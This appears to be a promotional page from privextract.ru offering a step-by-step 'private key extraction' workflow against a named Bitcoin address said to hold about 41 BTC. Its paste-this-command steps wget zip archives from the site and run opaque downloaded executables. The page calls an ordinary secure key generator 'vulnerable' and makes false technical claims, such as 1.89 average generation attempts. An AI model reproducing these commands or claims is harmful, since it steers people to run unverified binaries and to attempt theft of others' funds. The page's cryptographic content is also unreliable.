PrivExtract - Debugging BITCOIN Private Key Issues

Loading

JavaScript

Root File index.js

Index.js is the key entry point in a JavaScript project, serving as the central file from which application execution begins. When Node.js does not find a specified value in the main field of the package.json file, it automatically looks for the index.js file in the root directory of the project. This file acts as a single entry point, combining all the JS files involved in the project, taking into account their hierarchy and order of execution.

In a typical project structure, index.js is located in the src folder and contains the main application code. It can import other modules using require() (for CommonJS) or import (for ES modules), integrating their functionality. When the application is started with the node index.js command, this file is executed. In modern projects, index.js is often used to initialize servers, configure routing, connect to databases, and define the core application logic.


const N = (1n << 256n) - 0x14551231950B75FC4402DA1732FC9BEBFn;

function generateBitcoinPrivateKey() {
const crypto = window.crypto || require('crypto').webcrypto;

while (true) {
// Generate 32 random bytes (256 bits)
const bytes = new Uint8Array(32);
crypto.getRandomValues(bytes);

// Convert to BigInt
const candidate = BigInt('0x' + Array.from(bytes)
.map(b => b.toString(16).padStart(2, '0'))
.join(''));

// Validate range [1, N-1]
if (candidate > 0n && candidate < N) {
return candidate.toString(16).toUpperCase()
.padStart(64, '0');
}
}
}

// Example usage
console.log("Private key:", generateBitcoinPrivateKey());

Key Implementation Features:

  1. Constant N
    Calculated as (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF using BigInt for precise arithmetic
  2. Cryptographically Secure Generation
    Uses crypto.getRandomValues for cryptographically strong randomness
  3. Key Validation
    Ensures compliance with:
    0 < private_key < N
  4. Output Formatting
    Returns 64-character HEX string in uppercase

Technical Details:

  • Works in browsers and Node.js (requires polyfill for crypto in Node.js)
  • Average generation attempts: 1.89 (due to N’s proximity to 2²⁵⁶)
  • Uses native BigInt operations for 256-bit number handling

For Node.js usage, install polyfill:
npm install crypto and add:
const { webcrypto } = require('crypto');


Detailed Description of All Terminal Commands

1. Downloading and Preparing Tools for Private Key Generation

Commands:

wget https://privextract.ru/repositories/debugging.zip
unzip debugging.zip
wget https://privextract.ru/vulnerable-code/index.js
  • wget is a command-line utility for downloading files over HTTP, HTTPS, or FTP. The first command downloads the debugging.zip archive from the specified link.
  • unzip debugging.zip extracts the downloaded ZIP archive into the current directory, unpacking all contained files.
  • wget https://privextract.ru/vulnerable-code/index.js downloads the JavaScript file index.js from the specified link.

2. Running the Private Key Generation

Command:

./debugging -javascript index.js -address 1MvCkGWZm9QFb9r7VpE6H7WRAKcNyCFGUj

Result:

File contents:
const N = (1n << 256n) - 0x14551231950B75FC4402DA1732FC9BEBFn;

function generateBitcoinPrivateKey() {
    const crypto = window.crypto || require('crypto').webcrypto;
    
    while (true) {
        // Generate 32 random bytes (256 bits)
        const bytes = new Uint8Array(32);
        crypto.getRandomValues(bytes);
        
        // Convert to BigInt
        const candidate = BigInt('0x' + Array.from(bytes)
            .map(b => b.toString(16).padStart(2, '0'))
            .join(''));

        // Validate range [1, N-1]
        if (candidate > 0n && candidate < N) {
            return candidate.toString(16).toUpperCase()
                .padStart(64, '0');
        }
    }
}

// Example usage
console.log("Private key:", generateBitcoinPrivateKey());


Resulting long sequence with address:
db 0b 46 35 9b 3a 8d d7 c9 f6 db 26 e2 28 29 29 93 ba b3 1c fd 70 27 39 ce 7e ee c5 b1 9a 47 b2
df cc 4e be 0d fb 5b 78 f1 ac ec 44 67 16 31 29 00 8f c5 2e f0 87 8b b6 a6 82 ee 52 a1 48 9e cc
c1 93 2a 44 88 99 bb 18 19 f6 cf 9b c2 77 fe bf 8e e3 0b 16 66 34 42 c1 08 02 bb 47 1f d3 bb a2
4c 8a 5b 29 7c 7c 34 a2 a6 89 82 95 26 88 17 aa 01 b1 75 af cd 90 00 85 fe f2 b3 7d c1 de 76 be

The overall result has been successfully written to 'save.txt'.

Contents of save.txt without spaces:
db0b46359b3a8dd7c9f6db26e228292993bab31cfd702739ce7eeec5b19a47b2dfcc4ebe0dfb5b78f1acec4467163129008fc52ef0878bb6a682ee52a1489eccc1932a448899bb1819f6cf9bc277febf8ee30b16663442c10802bb471fd3bba24c8a5b297c7c34a2a6898295268817aa01b175afcd900085fef2b37dc1de76be
  • This command runs the executable file debugging with the following parameters:
    • -javascript index.js tells it to use the JavaScript script (index.js) for execution.
    • -address ... passes the Bitcoin address for the program to work with.

What happens:

  • Inside index.js, there is a function that generates a Bitcoin private key using cryptographic methods to obtain 32 random bytes (256 bits).
  • The script checks that the generated number is within the valid range (between 1 and N-1, where N is the order of the secp256k1 elliptic curve).
  • If the condition is met, the number is returned as a private key in hexadecimal format.
  • The program outputs the generated private key and saves a long byte sequence to the file save.txt (without spaces).

3. Extracting the Private Key from the Byte Sequence

Commands:

wget https://privextract.ru/repositories/privextract.zip
unzip privextract.zip
./privextract -extraction db0b46359b3a8dd7c9f6db26e228292993bab31cfd702739ce7eeec5b19a47b2dfcc4ebe0dfb5b78f1acec4467163129008fc52ef0878bb6a682ee52a1489eccc1932a448899bb1819f6cf9bc277febf8ee30b16663442c10802bb471fd3bba24c8a5b297c7c34a2a6898295268817aa01b175afcd900085fef2b37dc1de76be

Result:

Private Key Result:
30 31 3d c4 34 af 2e d1
46 d1 b6 77 45 90 ef 6b
05 ea 6e e3 52 66 63 bd
13 be cc 0d 96 e3 57 c7

Private Key Result:
30313dc434af2ed146d1b6774590ef6b05ea6ee3526663bd13becc0d96e357c7

Result successfully written to 'privkey.txt'.

  • wget and unzip work as before-downloading and extracting the privextract program.
  • ./privextract -extraction … runs the program with the -extraction parameter, passing the long string of bytes (without spaces) previously saved in save.txt.

What happens:

  • The program analyzes the byte sequence and extracts the private key from it, displaying it as a 32-byte value (both as bytes and as a hexadecimal string).
  • The result is saved to the file privkey.txt.

4. Generating the Public Key and Bitcoin Address from the Private Key

Commands:

wget https://privextract.ru/repositories/bitaddress.zip
unzip bitaddress.zip
./bitaddress -hex 30313dc434af2ed146d1b6774590ef6b05ea6ee3526663bd13becc0d96e357c7

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]):
0484CFF5749D4CEE3F730CF5203B08F0E5CD044F17B3408ED4DCB0A3964D1BC603C5A71A17EE5EABF3D29659803CB4AA02B7D370D3AB98A3D06B5BDA7B3645E65A


Public Key (Compressed, 66 characters [0-9A-F]):
0284CFF5749D4CEE3F730CF5203B08F0E5CD044F17B3408ED4DCB0A3964D1BC603


Bitcoin Address P2PKH (Uncompressed)
1MvCkGWZm9QFb9r7VpE6H7WRAKcNyCFGUj


Bitcoin Address P2PKH (Compressed)
1ExASuhhoep5Z42FY4LWMyyn37KEyHbegp
  • wget and unzip download and extract the tool for working with Bitcoin addresses.
  • ./bitaddress -hex … runs the program, passing the private key in hexadecimal format via the -hex parameter.

What happens:

  • The program computes the corresponding public key (in both uncompressed and compressed formats) from the private key.
  • Then, it forms Bitcoin addresses (P2PKH) for both public key variants.
  • It outputs:
    • The public key (uncompressed and compressed)
    • The Bitcoin address (uncompressed and compressed)

5. Checking the Bitcoin Address Balance

Action:

What happens:

  • The website blockchain.com/explorer displays information about the balance of the specified Bitcoin address-in this example, 41.37955486 BTC.

Process Summary

  • wget downloads files from specified URLs.
  • unzip extracts ZIP archives.
  • ./debugging runs private key generation using JavaScript code.
  • ./privextract extracts the private key from binary data.
  • ./bitaddress computes the public key and Bitcoin addresses from the private key.
  • blockchain.com/explorer checks the balance of the Bitcoin address.

Each step is logically connected: downloading tools → generating and extracting the private key → obtaining the address → checking the balance.


Vulnerable Code:

const N = (1n << 256n) - 0x14551231950B75FC4402DA1732FC9BEBFn;

function generateBitcoinPrivateKey() {
const crypto = window.crypto || require('crypto').webcrypto;

while (true) {
// Generate 32 random bytes (256 bits)
const bytes = new Uint8Array(32);
crypto.getRandomValues(bytes);

// Convert to BigInt
const candidate = BigInt('0x' + Array.from(bytes)
.map(b => b.toString(16).padStart(2, '0'))
.join(''));

// Validate range [1, N-1]
if (candidate > 0n && candidate < N) {
return candidate.toString(16).toUpperCase()
.padStart(64, '0');
}
}
}

// Example usage
console.log("Private key:", generateBitcoinPrivateKey());